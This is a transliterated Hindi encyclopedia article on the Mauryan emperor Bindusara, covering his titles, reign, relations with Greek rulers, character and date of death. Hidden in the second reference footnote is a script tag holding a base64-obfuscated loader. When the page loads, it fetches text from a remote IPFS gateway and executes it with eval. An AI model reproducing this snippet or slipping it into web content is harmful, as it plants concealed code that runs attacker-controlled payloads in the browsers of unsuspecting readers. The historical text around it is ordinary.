बिन्दुसार
bindusar
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| poora nam | samrat bindusar |
| janm | lagabhag 320 ee.poo. |
| mrityu tithi | lagabhag 272 ee.poo. (52 varsh) |
| pita/mata | chandragupt maury aur durdhara |
| pati/patni | subhadraangi |
| santan | ashok |
| upadhi | samrat |
| rajy sima | sampoorn bharat (lagabhag) |
| shasan kal | 298 se 272 ee.poo. |
| sha. avadhi | 26 varsh (lagabhag) |
| rajyabhishek | 298 ee.poo. |
| dharmik manyata | ajivak aur jain |
| poorvadhikari | chandragupt maury |
| uttaradhikari | ashok |
| rajagharana | maury |
| vansh | maury vansh |
| sanbandhit lekh | chandragupt maury, chanaky, ashok adi |
| any janakari | yoonani lekhoan ke anusar bindusar ka nam 'amitrakete' tha. vidvanoan ke anusar amitrakete ka sanskrit roop hai amitraghat ya amitrakhad[1]. |
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bindusar maury samrat chandragupt maury ka putr tha, jo 297-98 eesa poorv mean shasak bana aur usane 272 eesa poorv tak rajakaj kiya. bindusar ko 'amitraghat' bhi kaha jata hai. yoonani itihasakar use 'amitrochets' ke nam se pukarate haian. bindusar ne apane pita dvara jite ge kshetroan ko poorn roop se akshunn rakha tha. bindusar ki mrityu ke bad usaka putr ashok samrat bana. bindusar ko yoonaniyoan ne 'amitrochets' kaha, jo sanbhavat: sanskrit shabd 'amitraghat' se liya gaya hai, jisaka arth hai, 'shatrunashak'. yah upadhi dakshin mean unake saphal sainik abhiyanoan ke liye di gee hogi, kyoanki uttar bharat par to unake pita chandragupt maury ne pahale hi vijay prapt kar li thi. biandusar ka vijay abhiyan karnatak ke asapas jakar rooka aur vah bhi sanbhavat: isaliye ki dakshin ke chol, paandy v cher saradaroan aur rajaoan ke mauryo se achchhe sanbandh the. isaka putr ashok mahan tha.
jivan parichay
chandragupt ki mrityu ke pashchath usaka putr bindusar samrat bana. yoonani lekhoan ke anusar isaka nam amitrakete tha. vidvanoan ke anusar amitrakete ka sanskrit roop hai amitraghat ya amitrakhad (shatruoan ka nash karane vala). sambhavatah yah bindusar ka virud raha hoga. tibbati lama taranath tatha jain anushruti ke anusar chanaky bindusar ka bhi mantri raha. chanaky ne 16 rajy ke rajaoan aur samantoan ka nash kiya aur bindusar ko poorvi samudr se pashchimi samudr paryant bhoo-bhag ka adhish banaya. ho sakata hai ki chandragupt ki mrityu ke pashchath kuchh rajyoan ne maury satta ke viruddh vidroh kiya ho. chanaky ne saphalatapoorvak unaka daman kiya. divyavadan mean uttarapath ki rajadhani takshashila mean aise hi vidroh ka ullekh hai. is vidroh ko shant karane ke lie bindusar ne apane putr ashok ko bheja tha. isake pashchath ashok khas desh gaya. 'khas' sambhavatah nepal ke as-pas ke pradesh ke khas rahe hoange. taranath ke anusar khasya aur nepal ke logoan ne vidroh kiya aur ashok ne in pradeshoan ko jita.
videshoan ke sath ashok ne shanti aur maitripoorn sambandh banae rakha. selyookas vansh ke rajaoan tatha any yoonani shasakoan ke sath chandragupt ke samay ke sambandh bane rahe. staivo ke anusar selyookas ke uttaradhikari entiyokas pratham ne apana rajadoot dayamekas bindusar ke darabar mean bheja. plini ke anusar tolami dvitiy philedelphas ne dayoniyas ko bindusar ke darabar mean niyukt kiya.
vyaktitv
apane pita ki bhaanti bindusar bhi jijnasu tha aur vidvanoan tatha darshanikoan ka adar karata tha. aitheniyas ke anusar bindusar ne entiyokas (siriya ka shasak) ko ek yoonani darshanik bhejane ke lie likha tha. divyavadan ki ek katha ke anusar ajivak parivrajak bindusar ki sabha ko sushobhit karate the.
isake sath hi hamean kuchh aise praman bhi milate haian jinase ek vijeta ke roop mean biandusar ki kshamata par se vishvas kuchh uth-sa jata hai, kyoanki usake shasanakal mean usake samrajy ke uttar-pashchimi praant takshashila mean vidroh uth kh da hua tha aur is vidroh ka daman karane ke lie use apane suyogy putr ashok ko niyukt karana p da tha. yah bat mani ja sakati hai jo vistrit samajy use apane pita se uttaradhikar mean mila tha, use sanbhalana hi us-jaise aishvaryapriy vyakti ke lie bahut b da kam tha jisake lie jivan ka sabase b da sukh "aanjiroan aur aangoor ki sharab" mean tha, jo usane apane mitr yoonan ke raja aiantiokas se mangavaee thian. use is bat ka shrey dena kathin hai ki usane svayan koee vijay prapt karake apane rajy mean koee vriddhi ki hogi.[2]
nidhan
puranoan ke anusar bindusar ne 24 varsh tak, kintu mahavansh ke anusar 27 varsh tak rajy kiya. d aau. radha kumud mukarji ne bindusar ki mrityu tithi eesa poorv 272 nirdharit ki hai. kuchh any vidvanh yah manate haian ki bindusar ki mrityu eesa poorv 270 mean huee.
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tika tippani aur sandarbh
- ↑ (shatruoan ka nash karane vala)
- ↑ chandragupt maury aur usaka kal |lekhak: radhakumud mukharji |prakashak: rajakamal prakashan |prishth sankhya: 57 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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